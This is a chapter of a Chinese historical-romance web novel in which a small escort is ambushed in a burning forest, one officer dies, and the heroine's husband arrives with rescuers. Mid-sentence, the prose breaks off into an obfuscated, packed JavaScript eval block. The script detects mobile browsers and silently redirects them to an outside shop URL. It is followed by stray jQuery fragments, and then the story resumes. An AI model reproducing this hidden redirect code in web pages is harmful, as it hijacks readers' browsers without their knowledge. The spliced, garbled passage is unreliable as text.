108. 伤亡惨重

作品:《女相训狗亡国记

    周边的树点燃后,前头的暗箭果然不放了。


    林融霜等了片刻,方压低声音与周池说:“对面没多少人,但应是精锐。”


    周池问:“如何得知?”


    “若是有个千八百人,带着上万支箭,那只管连着放,咱们总共八个人,早晚都能扎成筛子,可火一起暗箭就停了,说明人数不多,带的补给也不多,”林融霜说着自腰间摸出一小瓶疮药,往周池尚在流血的左肩上倒去,“但能在这乌漆嘛黑的林子里一箭射中你,说明他们的准头不错。”


    周池疼得一咧嘴,却憨笑道:“林将军就是林将军,方才是末将莽撞了。”


    “周奉身,”林融霜收起药瓶,确认暂时无人靠近后,低声问周池,“上回在书局,你说你是因为我才离了西境,为什么?还有,你既说要回家种田,为何又去了边铺?”


    “末将的命是将军在敖朔人的弯刀下抢回来的,本就誓死效忠将军,你突然一走,末将心里不好受,一时冲动,便也离了军中,可回头冷静下来一想,若西边再起战事,你肯定还会回来,你要上战场,我却回去过安生日子,那不是没良心么?但走都走了,再回去也丢人,就主动投去了边铺,没多久就赶上选人入洪辽,我资历老些,又做过斥候,这才……”


    “冲动,”林融霜偏头白了他一眼,“此番事毕,你的暗探也做到头了,我给长公主去封举荐信,看能不能给你请升至昭武副尉,若成,你替我回西境效命去。”


    “从六品的副尉?那成,”周池咧开嘴笑,又问,“将军真不打算回去了?”


    “我……”林融霜一顿,少顷方开口,“阿姐独自一人在京太险了,我要守着她。”


    “也是,”周池点头,“末将虽不懂朝中的弯弯绕,也知道孟相此番回京定然比之前更难,将军……”


    “小心!”


    周池话未说完,便被林融霜一把推开,她手中长剑翻转,‘铛’的一声击落了什么,周池低头,见脚边插着一支泛着银光的小箭。


    “是暗弩,”林融霜蹙起眉头,低声吩咐,“戒备,他们摸过来了。”


    包括周池在内的暗探都知道,这东西轻便,远了不管用,可于近处用来偷袭是最合适的,暗弩一放,说明那些人已在百步之内。


    果不其然,没多一会儿,火光之外便传来‘咔哒’一声轻响,是什么东西轧在枯枝上的声音。


    林融霜侧身与周池背对背,将长剑横在身前,紧盯着上边火光映出的橙红,少顷,橙红被黑影遮去一块儿,林融霜屏息,待那黑影更近些,便率先刺出一剑。


    一声惨叫响彻林中,跟着,一个着黑甲的兵士倒在了距林融霜一步之遥的地方。


    “往后退,”林融霜往那人喉咙处补了一剑,低声吩咐,“这人高我太多,没一剑划开他的喉咙让他喊出了声,咱们的位置暴露了。”


    五人紧挨着才往后退了十步左右,便又有一支暗箭射来,直奔另一个暗探的面门,林融霜先看见,挥剑挡掉,却被另一支暗箭擦着了左臂。


    左臂先是一凉,跟着有温热往下漫,她偏头看了一眼,见左臂添了个挺深的口子,但没见黑血,她知道那箭没毒,便放下心,可再一抬头,已有十数人绕过裹着火的树干,朝他们包过来。


    “给我拦住了,”林融霜紧了紧手中长剑,“后边那两位,一个皇子一个左相,他俩若伤了分毫,咱们就算活着回了泓都,陛下面前也抬不起头。”


    说罢,便提起剑,率先冲向那些着黑甲的人。


    她前些年打仗,骑马用长枪,下马用短剑,但因今日敌在暗,不便近身,所以换了长剑。她本仗着身量矮身形快,近战能占上风,可那些人着甲,很难一剑毙命。


    且这边刀剑声一起,便有更多人往他们这里包过来,他们五人不敢离得太远,左支右绌,被逼得一连往后退了十几步。


    不多时,余下三个暗探也全负了伤。


    林融霜觉不出疼,不知道自己受没受伤,她见周池有伤,防御吃亏,一直留心帮衬着他,这头才斩了一个黑甲兵,便又有一支暗箭自左边射来,挥剑是来不及了,林融霜便背过身以自身来挡,她穿着姜珣给的环锁甲,那小箭虽穿不透甲,但力道没卸,她只觉浑身一紧,喉头泛甜,没忍住咯出一口血来。


    “将军!”


    她这一伤,周池就慌了神,立刻挥剑去砍那朝她放冷箭的黑甲兵,不当心脱开了他们五人原本列好的防御队形,那黑甲兵被他一剑割喉,他的右臂却狠狠挨了一刀,手中长剑霎时脱了手。


    周池立即以脚尖去挑,却被另一个冲上来的黑甲兵一脚踢在膝弯处,一刀劈下来,他单膝着地,右边肩膀处结结实实被砍了一刀。


    他没穿甲,这一刀,深可见骨。


    “……将军,”周池偏头看了眼肩上的伤,见漫出的血一路没进了脚下,粲然一笑,扛着长刀缓缓起身,劈手夺过刀,一刀砍了伤他那人,朝正对付另外三四个黑甲兵的林融霜喊道,“若在这儿捐躯,能不能光耀门楣,混个六品小将军的追封?”


    林融霜一眼瞧出周池抱了必死之心,立时慌神,拼着手臂接下一刀飞身来救,却也没来得及。


    周池已拎着长刀冲进七八个黑甲兵中,眨眼之间,血光四溅,将军枯骨。


    “周奉身!”


    林融霜的这一声喊传进耳中时,孟冬辞握着匕首的手陡然收紧。


    孟冬辞与林融霜自小一起长大,上一次她这样惊惶绝望的哭喊,还是自己被水匪砍伤扔进海里,林融霜寻到她的时候。


    可那时她才七岁。


    孟冬辞觉出掌心被硌得生疼,这才垂眼,见自己的指节因用力至泛白,她一时有些恍惚,偏头看向身侧的姜珣。


    他薄唇紧抿,惯常总是玩世不恭的眼底全是担忧,孟冬辞这才回神,猜到那边定然出了事。


    周池是林融霜在西境的旧部,他出事,林融霜定然心乱,这丫头又不知疼痛,若是不管不顾与人搏命……


    “常易,融霜那儿可能顶不住了,去帮忙,”孟冬辞压低声音朝陆羽说,“后边树密些,火烧得旺,那些人绕不进来,暂时安全,我与二殿下会往后退,你身形快,若真有人来,也赶得及救我们,但融霜他们已退到这儿,一旦不敌,便再没有安全之处了。”


    陆羽点头,闪身隐入黑暗。


    孟冬辞偏头看向姜珣。


    自从林融霜的身影在他们的视线里消失,他就一直看着前面那片火光,一句话也没有说。


    “二殿下知道么,”孟冬辞轻声开口,“融霜自小不知疼。”


    姜珣蓦地偏过头:“什么叫不知疼?”


    “她会受伤流血,也会脱力,但不会疼,”前头铁器相碰的声音更近了些,孟冬辞将匕首换了手,极轻地开口,“二殿下的手既没沾过血,此番也躲远些为好,融霜教过我怎么近身杀人,若有人摸过来,我能替二殿下杀两个人,她若能活,你得保她日后自由……”


    “你若遇险,那小丫头还不活吃了我,陆常易是杀人的行家,且能挡一阵子,你有后事,待会儿再交代也不迟,”姜珣打断她,似笑非笑地开口,“孟桉,我与你打个赌,我们只要再撑一刻,你的良人,就该到了。”


    孟冬辞摇头:“他不能来。”


    “你要替我搏命,无非是觉得是自己少想一处,才没在决定启程回泓都前找出元戎的私兵所在,以至于叫我涉了险,”姜珣语气淡淡,“可私兵之事,你一早就往泓都递过消息,也早早告诉了我,找私兵本就该是我的事,你往自己身上揽什么错?你被拜得多了,真当自己是救苦救难的神佛菩萨么?”


    他们一处长大,姜珣极少这样与人说话,孟冬辞瞧出他动了气,便没接话。


    “你此前已因私兵之事让那元羲调兵回临邺支援,现下私兵围城,你的良人会不知你有危险么?”姜珣转过头重新看向林融霜的方向,仍旧淡淡的,“孟桉,于理,他是不能来,但不是所有人都像你一样,会和自己的感情讲道理的。”


    *


    为遮掩行踪,元珵与其他二十个玳浧族人皆遮了面,一路快马疾驰,片刻不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669813|174735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    停,终于在寅时末赶到了传令兵说的地方。一驾插着数十支箭的马车翻在路边,元珵定睛看过,却没见孟冬辞他们的身影。


    再往前走了些,他才看见林中火光。元珵心跳如鼓,翻身下马,接过玳浧族人手中火把,往林中火光处跑去。


    一路上全是着黑甲的人的尸首,他才舒了口气,便看见了一个眼熟的人。


    那人半跪在地上,胸口插着一柄长刀,虽已没了气息,仍双目圆睁,紧紧盯着前方,他没倒下,是因为他手中握着刀,刀上,两个黑甲兵自喉咙处串成一串。


    这人,正是当初蜜糖斋外,朝他和孟冬辞要了二十两银子的‘赌徒’周池。


    四周的树皆已焦黑,唯有前边余着一点火光,元珵耳朵嗡的一声,快步往里跑去。


    远远的,元珵先看见了被几个黑甲兵围住的陆羽,他着黑衣,看不出受没受伤,但面上手上全是血,不等他开口,身后跟上来的玳浧族人已上前帮忙,迅速解决了那几个皆已负伤的黑甲兵。


    陆羽看见元珵,先是一怔,随即立刻与玳浧族人道:“前面!去救人!”


    元珵等人跟着陆羽往前跑,远远的,他一眼就看见了孟冬辞。


    她手里攥着染了血的匕首,与浑身是血的林融霜背靠背站着,像是以自己的身体在撑着林融霜,她们身前,是五六个蓄势待发的黑甲兵。


    其中一个黑甲兵举高了手里的长刀往孟冬辞肩上砍去,被林融霜一剑挡下,顺势刺瞎了眼睛。


    下一瞬,便死在了玳浧族人特制的弩箭下。


    陆羽和玳浧族人杀尽余下的黑甲兵后,元珵立刻跑向孟冬辞,又停在了距她几步之遥的地方。


    因为一直倚着孟冬辞站着的林融霜晃晃悠悠地倒了下去,孟冬辞蹲下身将她揽在臂弯里,正替她擦脸上的血。


    周池惨死,他前边不远处还有三具和那些黑甲兵穿着不同的尸首,应该是大煜护送她回去的暗探,还有林融霜,她最在意的妹妹……


    这些人,都因他生父的贪婪和他的莽撞,或死或伤。


    而孟冬辞,向来把这些人的性命看得比自己的性命更重……


    元珵不敢再往前走了。


    直到孟冬辞将脱力昏倒的林融霜交给姜珣照料,站起身朝他走来。


    不过一日没见,却像是久别数年一样,元珵张了张口,什么都没说出。


    还是孟冬辞先朝他伸手,元珵向前倾身,想以脸颊去贴她的掌心,孟冬辞却曲起指节,将他跑乱了的额发拨回原处。


    元珵才松了一口气,便听见她说:“叛军围城,身为一国主君,你不该弃一城百姓于不顾。”


    待她说完,元珵方一把将她揽进怀里,脑袋埋在她的肩窝处,声音闷闷的:“娘子,我不想做皇帝了,反正三哥放我出了城,就让他以为我死了,你把我带回大煜罢,我不要名分,哪怕就在你府上做个更夫,做个洒扫小厮,行不行?”


    “元和安,”孟冬辞的手垂在身侧没动,只轻声开口,“截杀我,是元戎一早下过的命令,与你无关,但你得知道,今日这一场,皆因两国相争而起。”


    元珵只问:“你有没有受伤?”


    孟冬辞这才推开他:“两国兵戎相见的下场,你看见了么?今日围杀我们的不过百人,可这些人,无论是长在洪辽还是大煜,他们背后都有家人,所以我要你与我承诺,只要你在位一日,洪辽与大煜,就一日不起战火。”


    元珵垂下眼,以指腹去擦孟冬辞面颊沾上的血,但那血已干涸,没擦掉,他便往后退开一步:“自然,娘子……孟相,还有别的要嘱咐我的么?”


    “还有一句。”孟冬辞也往后退了一步,蹲下身,抬手合上身边一个大煜暗探至死未闭的眼睛。


    “什么?”


    “我入宫伴读头一日,老师教给陛下和我的第一句话,如今我也说给你。”孟冬辞站起身,环顾四周血泊之中的尸首,视线转过一圈,最终落回元珵面上。


    “帝王之威,不在于能决定多少人死,而是能保住多少人生。”